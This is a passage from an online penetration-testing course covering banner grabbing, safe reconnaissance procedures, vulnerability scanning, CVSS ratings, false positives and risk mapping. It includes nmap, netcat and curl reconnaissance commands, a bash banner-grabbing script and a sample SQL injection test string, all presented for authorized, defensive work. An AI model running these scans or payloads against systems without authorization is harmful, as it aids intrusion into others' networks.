Services often display banners with version information.

# FTP banner
nc -nv 192.168.1.1 21

# SMTP banner
nc -nv 192.168.1.1 25

# HTTP headers
curl -I http://192.168.1.1
                        
🤖 Automated Fingerprinting with Nmap

Nmap's service detection is the industry standard.

# Basic service detection
nmap -sV 192.168.1.1

# More aggressive detection
nmap -sV --version-intensity 9 192.168.1.1

# Light detection (faster)
nmap -sV --version-intensity 0 192.168.1.1

# Detect all ports
nmap -sV -p- 192.168.1.1
                        
🎯 Nmap Version Detection Levels

Nmap uses intensity levels (0-9) to control thoroughness.

Level Description
0 Light - only try the most likely probes
2 Default - reasonable balance
5 Normal - more thorough
7 Aggressive - many probes
9 Insane - try every probe (slow)
📊 What Service Fingerprinting Reveals
Service Information Revealed Example
HTTP/HTTPS Web server type, version, modules, scripting languages Apache/2.4.41, PHP/7.4, nginx/1.18.0
SSH SSH version, protocol support, sometimes OS hints OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
FTP FTP server type, version, anonymous access status vsFTPd 3.0.3, ProFTPD 1.3.5e
SMTP Mail server type, version, supported extensions Postfix, Exim 4.92, Microsoft ESMTP
DNS DNS server type, version, recursion setting BIND 9.16.1, Unbound, Microsoft DNS
SMB Windows version, domain info, shares available Windows 10 Pro 19041, Samba 4.13.2
🛠️ Advanced Fingerprinting Tools
WhatWeb

Web technology fingerprinting

whatweb example.com
whatweb -a 3 example.com  # Aggressive
                        
Wappalyzer

Browser extension for quick website tech detection

Amap

Application mapper (older but useful)

amap -B 192.168.1.1 80
                        
✔ Why It Matters: Knowing exact versions allows you to check for known vulnerabilities in databases like CVE, Exploit-DB, and vendor security bulletins.

10.4 Banner Grabbing Basics: Reading Service Announcements

Banner grabbing is a simple but effective technique where you connect to a service and read the initial greeting or response, which often contains version information.

📋 What is a Banner?

A banner is the initial message a service sends when a connection is established. Many services reveal their software name, version, and sometimes operating system in these banners.

⚠️ Note: Some organizations disable banners or customize them to hide version information. Always verify banner information with other fingerprinting methods.
🔌 Banner Grabbing with Netcat

Netcat (nc) is the swiss army knife for banner grabbing.

Basic Banner Grab
# Connect and read banner
nc -nv 192.168.1.1 22
nc -nv 192.168.1.1 21
nc -nv 192.168.1.1 25

# With timeout
nc -nv -w 2 192.168.1.1 80
                        
Send Probe Then Read
# HTTP HEAD request
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc -nv 192.168.1.1 80

# SMTP HELO
echo -e "HELO test.com\r\n" | nc -nv 192.168.1.1 25

# FTP help
echo -e "HELP\r\n" | nc -nv 192.168.1.1 21
                        
🌐 Banner Grabbing with curl

curl is excellent for HTTP/HTTPS banner grabbing.

# Get HTTP headers
curl -I http://example.com
curl -I https://example.com

# Get full response with headers
curl -i http://example.com

# Follow redirects
curl -IL http://example.com

# Custom User-Agent
curl -A "Mozilla/5.0" -I http://example.com
                
📡 Banner Grabbing with Telnet

Telnet can connect to any TCP port, not just port 23.

# Connect to any port
telnet 192.168.1.1 80
# Then type: HEAD / HTTP/1.0
# Press Enter twice

telnet 192.168.1.1 25
# Then type: HELO test.com

telnet 192.168.1.1 21
# Just wait for banner
                
💡 Tip: Press Ctrl+] then type "quit" to exit telnet.
🤖 Automated Banner Grabbing with Nmap

Nmap's service detection includes banner grabbing.

# Basic banner grabbing
nmap -sV --script=banner 192.168.1.1

# For specific ports
nmap -sV -p 21,22,80,443 --script=banner 192.168.1.1

# Save output
nmap -sV --script=banner 192.168.1.1 -oN banner_results.txt
                
📊 Common Service Banners and What They Reveal
Service Example Banner Information Revealed
SSH SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3 SSH version, OS (Ubuntu)
HTTP Server: Apache/2.4.41 (Ubuntu) Web server, version, OS
FTP 220 (vsFTPd 3.0.3) FTP server, version
SMTP 220 mail.example.com ESMTP Postfix (Ubuntu) Mail server, version, OS
POP3 +OK Dovecot (Ubuntu) ready POP3 server, version, OS
MySQL 5.7.35-0ubuntu0.18.04.1 Database version, OS
🛠️ Automated Banner Grabbing Script
#!/bin/bash
# banner_grabber.sh - Simple banner grabbing tool

TARGET=$1
PORTS=(21 22 25 80 110 111 143 443 445 993 995 3306 3389 8080)

if [ -z "$TARGET" ]; then
    echo "Usage: $0 "
    echo "Example: $0 192.168.1.1"
    exit 1
fi

echo "=== Banner Grabber ==="
echo "Target: $TARGET"
echo "Date: $(date)"
echo "======================"

for port in "${PORTS[@]}"; do
    echo -n "Port $port: "
    
    case $port in
        80|8080)
            banner=$(echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc -nv -w 2 $TARGET $port 2>&1 | head -1)
            ;;
        443)
            banner=$(echo -e "HEAD / HTTP/1.0\r\n\r\n" | openssl s_client -connect $TARGET:$port 2>/dev/null | head -1)
            ;;
        *)
            banner=$(nc -nv -w 2 $TARGET $port 2>&1 | head -1)
            ;;
    esac
    
    if [ -n "$banner" ]; then
        echo "✓ $banner"
    else
        echo "✗ No banner"
    fi
done

echo "======================"
                

10.5 Safe Recon Procedures: Doing It Right

⚠️

Safety First

Active reconnaissance can disrupt services, trigger alarms, and even crash vulnerable systems. Always follow safe procedures to minimize risk.

📋 Pre-Recon Checklist
✅ Before You Start:
  • Obtain written authorization (contract, rules of engagement)
  • Define scope clearly (IP ranges, domains, exclusions)
  • Identify critical systems that should NOT be tested
  • Establish emergency contacts and stop procedures
  • Set testing window (time of day, duration)
  • Notify relevant teams (IT, security, management)
📝 In Your Authorization:
  • Specific IP addresses/ranges
  • Allowed scan types (port scans, service detection)
  • Prohibited techniques (DoS, brute force, etc.)
  • Testing schedule and duration
  • Point of contact for issues
  • Rules of engagement sign-off
🛡️ Safe Scanning Practices
✅ DO:
  • Start slow: Begin with conservative scan rates
  • Use timing templates: nmap -T0 to -T3
  • Monitor system impact: Watch for alerts
  • Respect rate limits: Don't overwhelm networks
  • Document everything: What, when, why
  • Stop immediately: If issues arise
  • Verify scope: Double-check IPs before scanning
❌ DON'T:
  • Don't scan outside scope: Even by mistake
  • Don't use aggressive scans: Without approval
  • Don't ignore warnings: From client or systems
  • Don't scan during business hours: Unless approved
  • Don't use default passwords: Without authorization
  • Don't attempt DoS: Even accidentally
  • Don't hide actions: Be transparent
⏱️ Nmap Timing Templates

Nmap provides timing templates to control scan speed and impact.

Template Name When to Use
-T0 Paranoid IDS evasion, extremely slow, serial scanning
-T1 Sneaky Quite slow, IDS evasion
-T2 Polite Slows down to use less bandwidth, less aggressive
-T3 Normal Default, reasonable speed
-T4 Aggressive Fast, assumes good network, might miss some ports
-T5 Insane Very fast, may miss ports, can DoS targets
# Safe scanning examples
nmap -T2 --max-rate 10 192.168.1.0/24
nmap -T1 --host-timeout 30m 192.168.1.1
nmap -T0 --scan-delay 1s 192.168.1.1
                
📊 Rate Limiting and Throttling

Control how fast your scans run to avoid overwhelming targets.

# Nmap rate limiting
nmap --max-rate 10 192.168.1.0/24      # Max 10 packets per second
nmap --min-rate 5 192.168.1.0/24       # Min 5 packets per second
nmap --scan-delay 1s 192.168.1.1       # Wait 1 second between probes

# Masscan rate limiting
masscan -p80 --rate 100 192.168.1.0/24 # Max 100 packets per second
                
💡 Tip: Start with slow rates and increase gradually if appropriate. Production networks often have rate limiting that can trigger alerts.
📝 Documentation and Logging

Always document your reconnaissance activities thoroughly.

#!/bin/bash
# recon_logger.sh - Template for logging recon activities

SCAN_ID="recon_$(date +%Y%m%d_%H%M%S)"
LOG_DIR="./recon_logs/$SCAN_ID"
mkdir -p "$LOG_DIR"

# Log scan parameters
cat > "$LOG_DIR/scan_info.txt" << EOF
SCAN INFORMATION
================
Date: $(date)
Operator: $USER
Target: $TARGET
Scan Type: $SCAN_TYPE
Authorization: $AUTH_REF
================
EOF

# Run scan with logging
nmap -sV -T2 $TARGET -oA "$LOG_DIR/nmap_scan"

# Save command history
history | tail -20 > "$LOG_DIR/commands.txt"

echo "Scan complete. Logs saved to $LOG_DIR"
                
🚨 Emergency Stop Procedures
When to Stop Immediately:
  • System becomes unresponsive
  • Client requests stop
  • Unexpected critical systems appear
  • IDS/IPS alerts triggered
  • Services crash or malfunction
  • You discover you're out of scope
How to Stop:
  • Ctrl+C in terminal
  • Kill scan processes: pkill nmap
  • Contact client immediately
  • Document what happened
  • Don't restart without approval
📋 Sample Rules of Engagement Section
4.0 RECONNAISSANCE GUIDELINES
4.1 Authorized Techniques:
    - ICMP ping sweeps
    - TCP port scans (SYN, connect)
    - UDP scans on limited ports
    - Service version detection
    - Banner grabbing

4.2 Prohibited Techniques:
    - Denial of Service attacks
    - Vulnerability exploitation
    - Password brute forcing
    - Social engineering
    - Physical security testing

4.3 Timing Constraints:
    - Testing only between 9 PM - 5 AM
    - Maximum scan rate: 100 packets/second
    - No scans on critical systems (see Appendix B)

4.4 Communication:
    - Emergency contact: john.doe@company.com
    - Stop work order authority: Jane Smith (555-0123)
    - Daily status reports required
                
🛡️
The Golden Rule of Active Recon

Never scan anything you don't have written permission to test. When in doubt, stop and verify. A missed deadline is better than an illegal scan.


🎯

Module 10: Active Information Gathering Successfully Completed

You've mastered active reconnaissance techniques and understand how to conduct them safely and ethically!

Module Complete
📋 What You've Learned
✓ When to Use
✓ Host Discovery
✓ Port Scanning
✓ Service Detection
✓ Banner Grabbing
✓ Nmap Techniques
✓ ARP Scanning
✓ TCP/UDP Probes
✓ Safe Procedures
✓ Legal Boundaries

You have successfully completed this module of Penetration Testing Mastery Course.


🔍 Module 11 – Vulnerability Scanning: Identifying and Prioritizing Security Weaknesses

Learn how vulnerability scanners work, understand severity ratings, differentiate network from web scanning, handle false positives, and map vulnerabilities to business risks

🎯

Module Learning Objectives

By the end of this module, you'll understand what vulnerability scanners are and how they work, interpret severity ratings like CVSS, differentiate between network and web application scanning, identify and handle false positives, and map technical vulnerabilities to real business risks.

⚠️

Important Note

Vulnerability scanners are powerful tools that can impact system performance. Always obtain proper authorization before scanning, and understand that scanners find potential vulnerabilities — not all findings are actual risks that can be exploited.


11.1 What are Vulnerability Scanners? Automated Security Assessors

Vulnerability scanners are automated tools designed to identify security weaknesses in systems, networks, and applications. They work by comparing information about target systems against databases of known vulnerabilities, configuration issues, and security best practices.

Think of a vulnerability scanner as an automated security auditor. It systematically checks your systems for known problems, much like an antivirus scanner checks for known malware, but focused on configuration weaknesses, missing patches, and security misconfigurations.

🔧 How Vulnerability Scanners Work
  1. Discovery Phase: Identify live hosts, open ports, and running services
  2. Information Gathering: Determine service versions, configurations, and banners
  3. Vulnerability Matching: Compare gathered information against vulnerability databases
  4. Active Testing: Perform safe checks to confirm vulnerabilities (optional)
  5. Reporting: Generate findings with severity ratings and remediation recommendations

100,000+

Known vulnerabilities in databases


Minutes

vs weeks manual checking


Continuous

Scanning for new threats

📊 Types of Vulnerability Scanners
🌐 Network Vulnerability Scanners

Scan entire networks for vulnerabilities in systems and services.

  • Examples: Nessus, OpenVAS, Qualys, Nexpose
  • What they find: Missing patches, weak configurations, default credentials, outdated software
  • Scope: Operating systems, network devices, databases, applications
📱 Web Application Scanners

Specialized scanners focused on web application vulnerabilities.

  • Examples: Burp Suite, OWASP ZAP, Acunetix, Nikto
  • What they find: SQL injection, XSS, CSRF, authentication flaws
  • Scope: Web applications, APIs, web services
☁️ Cloud Security Scanners

Assess cloud infrastructure configurations and compliance.

  • Examples: ScoutSuite, Prowler, CloudSploit
  • What they find: Misconfigured S3 buckets, IAM issues, exposed resources
  • Scope: AWS, Azure, GCP configurations
📦 Container & Orchestration Scanners

Scan container images and Kubernetes configurations.

  • Examples: Trivy, Clair, Anchore, kube-bench
  • What they find: Vulnerable packages, insecure configurations
  • Scope: Docker images, Kubernetes clusters
🛠️ Popular Vulnerability Scanners Comparison
Scanner Type License Strengths Weaknesses
Nessus Network Commercial Comprehensive coverage, regular updates, easy to use Expensive, can be resource-intensive
OpenVAS Network Open Source Free, large test database, active community Steep learning curve, slower than commercial options
Qualys Network Commercial Cloud-based, continuous monitoring, compliance reporting Subscription cost, requires internet connectivity
OWASP ZAP Web App Open Source Free, extensive features, active development Requires configuration, manual intervention often needed
Burp Suite Web App Commercial/Free Industry standard, excellent manual testing tools Advanced features require Pro license
Nikto Web Server Open Source Fast, good for quick checks, lots of tests No updates since 2021, noisy, false positives
📋 What Vulnerability Scanners Can and Cannot Do
✅ What Scanners CAN Do
  • Identify outdated software versions
  • Detect missing security patches
  • Find common misconfigurations
  • Discover default credentials
  • Check compliance with standards (CIS, PCI-DSS)
  • Scan large networks quickly
  • Generate consistent reports
  • Track vulnerabilities over time
❌ What Scanners CANNOT Do
  • Understand business context
  • Validate complex logic flaws
  • Guarantee a finding is exploitable
  • Replace manual penetration testing
  • Find zero-day vulnerabilities
  • Understand custom application logic
  • Prioritize based on business impact
  • Test authorization and access control thoroughly
💡
Scanner Limitations Analogy

A vulnerability scanner is like a metal detector. It beeps when it finds metal (potential issues), but it can't tell you if that metal is a treasure coin (critical vulnerability) or a rusty bottle cap (false positive). You still need to dig and inspect manually.


11.2 Understanding Severity Ratings: Critical, High, Medium, Low

Not all vulnerabilities are created equal. Severity ratings help prioritize which issues to fix first based on potential impact and ease of exploitation.

📊 CVSS: The Common Vulnerability Scoring System

The Common Vulnerability Scoring System (CVSS) is the industry standard for rating vulnerability severity. It provides a numerical score (0-10) based on multiple factors.

0.0-3.9

Low

4.0-6.9

Medium

7.0-8.9

High

9.0-10.0

Critical

🔬 CVSS Metrics Explained

CVSS scores are calculated from three metric groups:

Base Metrics

Intrinsic characteristics of the vulnerability (constant over time).

  • Attack Vector (AV): Network, Adjacent, Local, Physical
  • Attack Complexity (AC): Low, High
  • Privileges Required (PR): None, Low, High
  • User Interaction (UI): None, Required
  • Scope (S): Unchanged, Changed
  • Confidentiality (C): None, Low, High
  • Integrity (I): None, Low, High
  • Availability (A): None, Low, High
Temporal Metrics

Characteristics that change over time.

  • Exploit Code Maturity (E): Not Defined, Unproven, Proof-of-Concept, Functional, High
  • Remediation Level (RL): Not Defined, Official Fix, Temporary Fix, Workaround, Unavailable
  • Report Confidence (RC): Not Defined, Unknown, Reasonable, Confirmed
Environmental Metrics

Characteristics specific to the user's environment.

  • Confidentiality Requirement (CR): Not Defined, Low, Medium, High
  • Integrity Requirement (IR): Not Defined, Low, Medium, High
  • Availability Requirement (AR): Not Defined, Low, Medium, High
  • Modified Base Metrics: Customize base metrics for your environment
📋 Severity Rating Examples
Severity CVSS Score Example Vulnerabilities Typical Impact
Critical 9.0 - 10.0
  • Remote Code Execution (Log4Shell, EternalBlue)
  • Default admin credentials on critical systems
  • SQL injection with database takeover
Complete system compromise, data breach, ransomware deployment
High 7.0 - 8.9
  • Authentication bypass
  • Privilege escalation vulnerabilities
  • Cross-site scripting (XSS) on sensitive pages
Significant data exposure, limited system control, lateral movement
Medium 4.0 - 6.9
  • Information disclosure (banner grabbing)
  • Cross-site request forgery (CSRF)
  • Missing security headers
Limited information exposure, potential for chaining with other issues
Low 0.1 - 3.9
  • Version disclosure in banners
  • Directory listing enabled
  • Non-critical information leaks
Minor information exposure, typically not directly exploitable
Informational N/A
  • Open ports found
  • Service versions detected
  • SSL/TLS ciphers supported
No direct risk, but useful for understanding the environment
🔍 Real-World CVSS Examples
Log4Shell (CVE-2021-44228)

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Why Critical:

  • Attack Vector: Network (remotely exploitable)
  • Attack Complexity: Low (no special conditions)
  • Privileges Required: None (unauthenticated)
  • User Interaction: None (no user action needed)
  • Impact: Complete confidentiality, integrity, and availability loss
Reflected XSS (Typical)

CVSS Score: 6.1 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Why Medium:

  • Attack Vector: Network (remotely exploitable)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click link)
  • Impact: Limited to session hijacking, phishing
📊 Other Severity Rating Systems
OWASP Risk Rating

Combines Likelihood and Impact:

  • Likelihood: Threat agent, attack vector, ease of discovery, ease of exploit, awareness, intrusion detection
  • Impact: Technical (data loss, service disruption) + Business (financial, reputation, compliance)
Microsoft DREAD
  • Damage Potential
  • Reproducibility
  • Exploitability
  • Affected Users
  • Discoverability
Vulnerability Priority Rating (VPR)

Tenable's risk-based scoring that considers threat intelligence, not just CVSS.

✔ Key Takeaway: Severity ratings help prioritize remediation, but always consider your specific environment. A "Medium" vulnerability in a critical system may be more important than a "High" vulnerability in an isolated test environment.

11.3 Network vs Web Scanning: Different Tools for Different Targets

Network vulnerability scanning and web application scanning serve different purposes and use different methodologies. Understanding the distinction is crucial for effective security assessments.

🌐 Network Vulnerability Scanning
What It Scans:
  • Operating systems (Windows, Linux, macOS)
  • Network devices (routers, switches, firewalls)
  • Databases (MySQL, Oracle, SQL Server)
  • Services (SSH, FTP, SMTP, DNS)
  • Applications running on standard ports
How It Works:
  1. Port scan to discover open ports
  2. Service detection to identify versions
  3. Check versions against vulnerability databases
  4. Perform safe checks for common issues
  5. Report missing patches and misconfigurations
Common Findings:
  • Missing security patches
  • Default credentials
  • Weak encryption protocols
  • Unnecessary services running
  • Outdated software versions
Example Tools:

Nessus, OpenVAS, Qualys, Nexpose

📱 Web Application Scanning
What It Scans:
  • Web applications and websites
  • APIs (REST, SOAP, GraphQL)
  • Content management systems (WordPress, Drupal)
  • Web servers (Apache, Nginx, IIS)
  • Authentication mechanisms
How It Works:
  1. Crawl the application to discover pages and parameters
  2. Analyze requests and responses
  3. Inject test payloads (SQLi, XSS, etc.)
  4. Analyze responses for vulnerabilities
  5. Report findings with evidence
Common Findings:
  • SQL injection
  • Cross-site scripting (XSS)
  • Authentication flaws
  • Insecure direct object references
  • Security misconfigurations
Example Tools:

OWASP ZAP, Burp Suite, Acunetix, Nikto

📊 Detailed Comparison: Network vs Web Scanning
Aspect Network Scanning Web Scanning
Primary Focus Infrastructure vulnerabilities Application logic vulnerabilities
Discovery Method Port scanning + service detection Web crawling + parameter analysis
Vulnerability Types Missing patches, weak configs, default credentials Injection flaws, broken authentication, XSS
Depth of Testing Surface-level (version matching) Deep (injects payloads, analyzes responses)
False Positive Rate Low to Medium Medium to High (complex applications)
Speed Fast (can scan thousands of IPs) Slow (crawls and tests each application)
Authentication Handling Usually anonymous Often requires authenticated sessions
Business Logic Testing Not applicable Limited (requires manual testing)
Compliance Focus CIS benchmarks, PCI-DSS infrastructure OWASP Top 10, PCI-DSS web requirements
🔄 When to Use Each
Use Network Scanning When:
  • Assessing new network segments or IP ranges
  • Performing regular patch management audits
  • Checking for compliance with infrastructure standards
  • Discovering unknown or rogue devices
  • Validating firewall and security control effectiveness
  • Pre-audit for penetration testing
Use Web Scanning When:
  • Developing or deploying web applications
  • Performing regular application security assessments
  • Checking for OWASP Top 10 vulnerabilities
  • Testing authentication and session management
  • Assessing API security
  • Pre-deployment security validation
📝 Example: Network Scan vs Web Scan Results
Network Scan Findings
Host: 192.168.1.10 (Web Server)
Open Ports:
  - 22/tcp (SSH) - OpenSSH 7.6p1
  - 80/tcp (HTTP) - Apache 2.4.29
  - 443/tcp (HTTPS) - Apache 2.4.29
  - 3306/tcp (MySQL) - MySQL 5.7.35

Vulnerabilities:
  - Critical: Apache 2.4.29 vulnerable to CVE-2021-41773
  - High: MySQL 5.7.35 has known privilege escalation
  - Medium: SSH allows password authentication
  - Low: Server signature exposed in HTTP headers
                        
Web Scan Findings
Target: https://example.com
Crawl Results:
  - 127 pages discovered
  - 3 login forms
  - 5 file upload points

Vulnerabilities:
  - High: SQL injection in /products?id=1
  - High: Reflected XSS in search parameter
  - Medium: Session cookie missing HttpOnly flag
  - Medium: Password field allows unlimited attempts
  - Low: Missing security headers (HSTS, CSP)
                        
💡 Best Practice: Use both network and web scanning in combination. Network scans identify infrastructure issues, while web scans find application-layer vulnerabilities. Neither replaces the other — they complement each other.

11.4 False Positives in Scanning: Separating Signal from Noise

False positives are findings that scanners report as vulnerabilities but aren't actually exploitable or don't represent real risk. Managing false positives is essential for effective vulnerability management.

⚠️ What Are False Positives?

False Positive: A scanner reports a vulnerability that doesn't actually exist or isn't exploitable in the specific environment.

Common Causes:
  • Banner Grabbing Errors: Service disguises itself or reports wrong version
  • Configuration Differences: Vulnerability patched but banner not updated
  • Signature Mismatches: Scanner pattern matches but conditions aren't met
  • Network Interference: Proxies, load balancers, or WAFs alter responses
  • Outdated Plugin Data: Scanner database has false information
  • Aggressive Detection: Scanner flags potential issues without confirmation
✅ What Are True Positives?

True Positive: A scanner correctly identifies a real, exploitable vulnerability.

Characteristics:
  • Can be verified manually
  • Matches known vulnerability patterns
  • Exploitable in the current configuration
  • Represents actual risk to the system
True Negative:

Scanner correctly identifies that no vulnerability exists (ideal but unremarkable).

False Negative:

Scanner misses an actual vulnerability (dangerous but hard to detect).

📊 False Positive Rates by Scanner Type
Scanner Type Typical False Positive Rate Common False Positive Examples
Network Vulnerability Scanners 5-15%
  • Version mismatch (custom builds)
  • Backported patches
  • Service not actually vulnerable despite version
Web Application Scanners 15-30%
  • SQL injection that isn't actually exploitable
  • XSS in input sanitized by framework
  • False positives from WAF interference
DAST (Dynamic Analysis) 20-40%
  • Complex application logic misinterpreted
  • State changes not tracked correctly
  • Authentication issues
SAST (Static Analysis) 30-50%
  • Code patterns that look vulnerable but aren't
  • False positives from dead code
  • Configuration analysis errors
🔍 Real-World False Positive Examples
Example 1: Backported Patches (Linux)

Scanner Finding: "OpenSSL 1.0.2g vulnerable to CVE-2016-0703"

Reality: The Linux distribution backported the security fix without changing the version number.

# Ubuntu example
$ openssl version
OpenSSL 1.0.2g  1 Mar 2016

# But security fixes are backported
$ apt changelog openssl | grep CVE-2016-0703
  * SECURITY UPDATE: fix CVE-2016-0703
                        

Validation: Check distribution security advisories, not just version numbers.

Example 2: WAF-Protected SQL Injection

Scanner Finding: "SQL Injection in parameter 'id' (error-based)"

Reality: The Web Application Firewall blocked the test payload, but the scanner interpreted the error response as a vulnerability.

# Scanner sent: /page.php?id=1' OR '1'='1
# WAF responded with 403 Forbidden
# Scanner saw SQL error pattern in response
# But the application never processed the query
                        

Validation: Manual testing with legitimate payloads, checking WAF logs.

Example 3: Self-Signed SSL Certificate

Scanner Finding: "SSL Certificate is self-signed (High Risk)"

Reality: Internal development server intentionally uses self-signed certificates. No external access, minimal risk.

Validation: Check system purpose and network exposure. Internal dev server ≠ public-facing e-commerce site.

Example 4: Version Detection Mismatch

Scanner Finding: "Apache 2.2.15 vulnerable to multiple CVEs"

Reality: The server is actually Apache 2.4.41, but the banner was customized or cached.

# Scanner saw: Server: Apache/2.2.15 (from HTTP header)
# Actual version:
$ apache2 -v
Server version: Apache/2.4.41
                        

Validation: Check actual version on the system, not just banners.

📋 False Positive Validation Checklist
✅ Manual Verification Steps:
  • Check actual software version on the system
  • Verify if security patches have been backported
  • Test the vulnerability manually (safe methods)
  • Review system configuration and exposure
  • Check scanner logs for exact test performed
  • Consult vendor security advisories
  • Test in isolated environment if possible
📊 Questions to Ask:
  • Is the service actually running?
  • Is the vulnerable functionality enabled?
  • Are there mitigating controls (firewall, WAF)?
  • Does the system require authentication?
  • Is the system exposed to attackers?
  • Has the finding been seen before?
  • Do other scanners agree?
🛠️ Handling False Positives in Vulnerability Management
  1. Document the Finding: Record the scanner output and why you believe it's false.
  2. Investigate Thoroughly: Use the validation checklist to confirm.
  3. Mark as False Positive: In your vulnerability management system, flag it accordingly.
  4. Provide Evidence: Attach screenshots, logs, or explanations for the false positive.
  5. Update Scanner Configuration: Tune the scanner to reduce similar false positives.
  6. Re-scan to Confirm: After tuning, verify the finding no longer appears.
  7. Periodic Review: Revisit false positives occasionally — configurations change.
⚠️ Danger of Ignoring False Positives: If you dismiss all scanner findings as false positives without investigation, you might miss real vulnerabilities. Always verify before marking as false.
💡 Pro Tip: Maintain a "false positive knowledge base" for your organization. Track common false positives and their resolutions to speed up future analysis.

11.5 Mapping Vulnerabilities to Risks: Technical Findings to Business Impact

A vulnerability is a technical finding. A risk is the potential business impact if that vulnerability is exploited. Understanding this distinction is crucial for effective prioritization and communication with stakeholders.

🔬 Vulnerability vs Risk
Vulnerability Risk
Missing security patch System could be compromised, leading to data breach
Weak password policy Accounts could be brute-forced, unauthorized access
SQL injection flaw Attacker could steal customer PII, regulatory fines
Open S3 bucket Confidential data exposed, reputation damage

Risk = Vulnerability × Threat × Impact

  • Vulnerability: The weakness itself
  • Threat: Likelihood of exploitation
  • Impact: Business consequences if exploited
📊 Risk Assessment Factors
Technical Factors:
  • CVSS score (severity)
  • Exploit availability
  • Attack complexity
  • Authentication required
Business Factors:
  • Data sensitivity (PII, financial, health)
  • System criticality (customer-facing, internal)
  • Regulatory requirements (GDPR, HIPAA, PCI)
  • Reputational impact
  • Financial exposure
📋 Risk Rating Matrix

Combine Likelihood and Impact to determine overall risk.

Low Impact Medium Impact High Impact Critical Impact
High Likelihood Medium High Critical Critical
Medium Likelihood Low Medium High Critical
Low Likelihood Low Low Medium High
Likelihood Factors:
  • Exploit publicly available?
  • Attack complexity low?
  • System exposed to internet?
  • Authentication required?
  • Attacker motivation?
Impact Factors:
  • Data classification?
  • System criticality?
  • Regulatory requirements?
  • Number of users affected?
  • Recovery cost?
🔍 Real-World Examples: Mapping to Risk
Example 1: SQL Injection

Technical Finding: SQL injection in product search parameter.

Scenario A: Internal employee portal with no sensitive data.

  • CVSS: 8.5 (High)
  • Likelihood: Low (internal network)
  • Impact: Low (no sensitive data)
  • Overall Risk: Low-Medium

Scenario B: E-commerce site with customer PII and payment data.

  • CVSS: 8.5 (High)
  • Likelihood: High (internet-facing)
  • Impact: Critical (PII breach, PCI fines)
  • Overall Risk: Critical
Example 2: Missing Security Patch

Technical Finding: Apache server missing critical security patch.

Scenario A: Development server, no external access.

  • CVSS: 9.8 (Critical)
  • Likelihood: Low (isolated network)
  • Impact: Low (no production data)
  • Overall Risk: Low

Scenario B: Public-facing production web server.

  • CVSS: 9.8 (Critical)
  • Likelihood: High (exploit available, internet-facing)
  • Impact: High (service disruption, potential breach)
  • Overall Risk: Critical
📊 Risk-Based Prioritization Framework
Priority Risk Level Remediation Timeline Examples
P0 Critical Immediate (24-48 hours)
  • Internet-facing RCE with active exploits
  • Exposed sensitive data (PII, financial)
  • Active breach indicators
P1 High Within 1 week
  • Critical vulnerabilities on internal systems
  • Authentication bypass on important apps
  • Privilege escalation paths
P2 Medium Within 1 month
  • Information disclosure (non-sensitive)
  • Missing security headers
  • Outdated software with no known exploits
P3 Low Within 3-6 months
  • Banner information disclosure
  • Best practice violations
  • Non-critical configuration issues
📝 Communicating Risk to Stakeholders

Different audiences need different information:

Technical Team

Need to know:

  • Affected systems and versions
  • Technical details of vulnerability
  • Steps to reproduce
  • Patch or fix instructions
  • Verification steps
Management

Need to know:

  • Business impact summary
  • Risk rating (Critical/High/etc.)
  • Number of affected systems
  • Estimated remediation effort
  • Timeline recommendations
Executives

Need to know:

  • Overall security posture
  • Top 3-5 critical risks
  • Potential business impact
  • Compliance implications
  • Resources needed
📋 Sample Risk-Based Report Entry
Vulnerability: SQL Injection in Login Form
Affected System: https://example.com/login.php
CVSS Score: 9.8 (Critical)

TECHNICAL DETAILS:
The login form parameter "username" is vulnerable to time-based SQL injection. 
An attacker can extract database contents by injecting sleep commands.

BUSINESS IMPACT:
- Database contains customer PII (names, emails, addresses)
- Compliance impact: GDPR violation possible
- Reputational damage if customer data exposed
- Potential financial fraud if payment data accessed

RISK ASSESSMENT:
- Likelihood: HIGH (Internet-facing, exploit tools available)
- Impact: HIGH (PII exposure, regulatory fines)
- Overall Risk: CRITICAL

RECOMMENDATION:
Implement parameterized queries immediately.
Estimated effort: 2 developer days.
Target remediation: Within 48 hours.
                
🛡️
The Goal of Vulnerability Management

Not to fix every vulnerability, but to reduce risk to an acceptable level based on business context. Map technical findings to business impact, prioritize accordingly, and communicate effectively.


🔍

Module 11: Vulnerability Scanning Successfully Completed

You've mastered vulnerability scanning concepts and understand how to identify, prioritize, and communicate security weaknesses!

Module Complete
📋 What You've Learned
✓ Scanner Basics
✓ CVSS Ratings
✓ Network Scanning
✓ Web Scanning
✓ False Positives
✓ Severity Ratings
✓ Risk Mapping
✓ Business Impact
✓ Prioritization
✓ Communication

You have successfully completed this module of Penetration Testing Mastery Course.


🌐 Module 12 – Web Application Attacks: Understanding and Preventing Common Vulnerabilities

Learn how web applications work, master the OWASP Top 10, understand input validation weaknesses, identify authentication flaws, and apply secure coding concepts to build safer applications

🎯

Module Learning Objectives

By the end of this module, you'll understand web application architecture, recognize the OWASP Top 10 vulnerabilities, identify input validation weaknesses, analyze authentication and session flaws, and apply secure coding principles to prevent attacks.

⚠️

Important Note

This module explains web application vulnerabilities for educational and defensive purposes. Always test only on applications you own or have explicit permission to assess. Unauthorized testing is illegal and unethical.


12.1 How Web Applications Work: Architecture and Components

Web applications are software programs that run on web servers and are accessed through web browsers. Unlike static websites, web applications generate dynamic content based on user input, database queries, and business logic.

Think of a web application like a restaurant: The browser is you (the customer), the web server is the waiter, the application server is the chef, and the database is the kitchen inventory. You place an order (HTTP request), the waiter takes it to the chef (application logic), who checks inventory (database) and prepares your meal (dynamic content), then serves it back to you (HTTP response).

🏗️ Web Application Architecture
┌────────────┐     ┌────────────┐     ┌────────────┐     ┌────────────┐
│   Browser  │────▶│ Web Server │────▶│   App      │────▶│  Database  │
│  (Client)  │◀────│  (Frontend)│◀────│   Server   │◀────│  (Backend) │
└────────────┘     └────────────┘     └────────────┘     └────────────┘
      │                  │                  │                   │
      │                  │                  │                   │
      └─────── HTTP/HTTPS ────────┘                   │
                                                     │
                                         ┌────────────┴────────────┐
                                         │  File System, APIs,     │
                                         │  3rd Party Services     │
                                         └─────────────────────────┘
                            

60%+

of attacks target web applications


3-Tier

